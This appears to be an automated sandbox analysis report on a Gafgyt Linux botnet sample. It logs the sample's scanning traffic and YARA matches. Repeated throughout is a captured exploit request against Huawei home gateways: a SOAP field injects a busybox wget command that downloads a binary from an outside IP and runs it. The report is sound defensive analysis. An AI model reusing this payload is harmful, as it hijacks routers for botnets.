Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 156.66.117.24
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.129.24
Source: unknown	TCP traffic detected without corresponding DNS query: 156.154.160.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.145.123.247
Source: unknown	TCP traffic detected without corresponding DNS query: 41.116.48.51
Source: unknown	TCP traffic detected without corresponding DNS query: 41.100.232.209
Source: unknown	TCP traffic detected without corresponding DNS query: 156.19.251.73
Source: unknown	TCP traffic detected without corresponding DNS query: 156.208.82.65
Source: unknown	TCP traffic detected without corresponding DNS query: 41.74.205.213
Source: unknown	TCP traffic detected without corresponding DNS query: 156.218.41.66
Source: unknown	TCP traffic detected without corresponding DNS query: 156.115.166.195
Source: unknown	TCP traffic detected without corresponding DNS query: 156.198.240.187
Source: unknown	TCP traffic detected without corresponding DNS query: 156.213.8.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.127.113.212
Source: unknown	TCP traffic detected without corresponding DNS query: 41.141.245.214
Source: unknown	TCP traffic detected without corresponding DNS query: 156.4.47.247
Source: unknown	TCP traffic detected without corresponding DNS query: 156.222.193.117
Source: unknown	TCP traffic detected without corresponding DNS query: 156.250.122.117
Source: unknown	TCP traffic detected without corresponding DNS query: 156.24.249.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.248.84.7
Source: unknown	TCP traffic detected without corresponding DNS query: 156.91.93.189
Source: unknown	TCP traffic detected without corresponding DNS query: 41.161.13.63
Source: unknown	TCP traffic detected without corresponding DNS query: 197.45.75.71
Source: unknown	TCP traffic detected without corresponding DNS query: 41.175.28.102
Source: unknown	TCP traffic detected without corresponding DNS query: 41.230.93.192
Source: unknown	TCP traffic detected without corresponding DNS query: 41.6.142.82
Source: unknown	TCP traffic detected without corresponding DNS query: 156.162.4.202
Source: unknown	TCP traffic detected without corresponding DNS query: 156.71.108.54
Source: unknown	TCP traffic detected without corresponding DNS query: 156.126.87.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.93.214.96
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.176.171
Source: unknown	TCP traffic detected without corresponding DNS query: 41.190.138.231
Source: unknown	TCP traffic detected without corresponding DNS query: 197.198.45.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.82.176
Source: unknown	TCP traffic detected without corresponding DNS query: 156.220.33.161
Source: unknown	TCP traffic detected without corresponding DNS query: 41.190.172.111
Source: unknown	TCP traffic detected without corresponding DNS query: 41.225.75.76
Source: unknown	TCP traffic detected without corresponding DNS query: 156.107.172.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.115.121
Source: unknown	TCP traffic detected without corresponding DNS query: 156.27.27.250
Source: unknown	TCP traffic detected without corresponding DNS query: 41.49.86.106
Source: unknown	TCP traffic detected without corresponding DNS query: 41.239.215.130
Source: unknown	TCP traffic detected without corresponding DNS query: 156.174.56.203
Source: unknown	TCP traffic detected without corresponding DNS query: 41.6.233.23
Source: unknown	TCP traffic detected without corresponding DNS query: 197.47.205.27
Source: unknown	TCP traffic detected without corresponding DNS query: 197.223.93.160
Source: unknown	TCP traffic detected without corresponding DNS query: 41.41.131.176
Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.118.14
Source: unknown	TCP traffic detected without corresponding DNS query: 41.90.16.2
Source: unknown	TCP traffic detected without corresponding DNS query: 156.35.239.23

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: vcimanagement.armv7l.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vcimanagement.armv7l.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: vcimanagement.armv7l.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: vcimanagement.armv7l.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: vcimanagement.armv7l.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5429, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5431, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5435, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5436, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: vcimanagement.armv7l.elf PID: 5451, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: vcimanagement.armv7l.elf

ELF static info symbol of initial sample: __gnu_unwind_execute

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

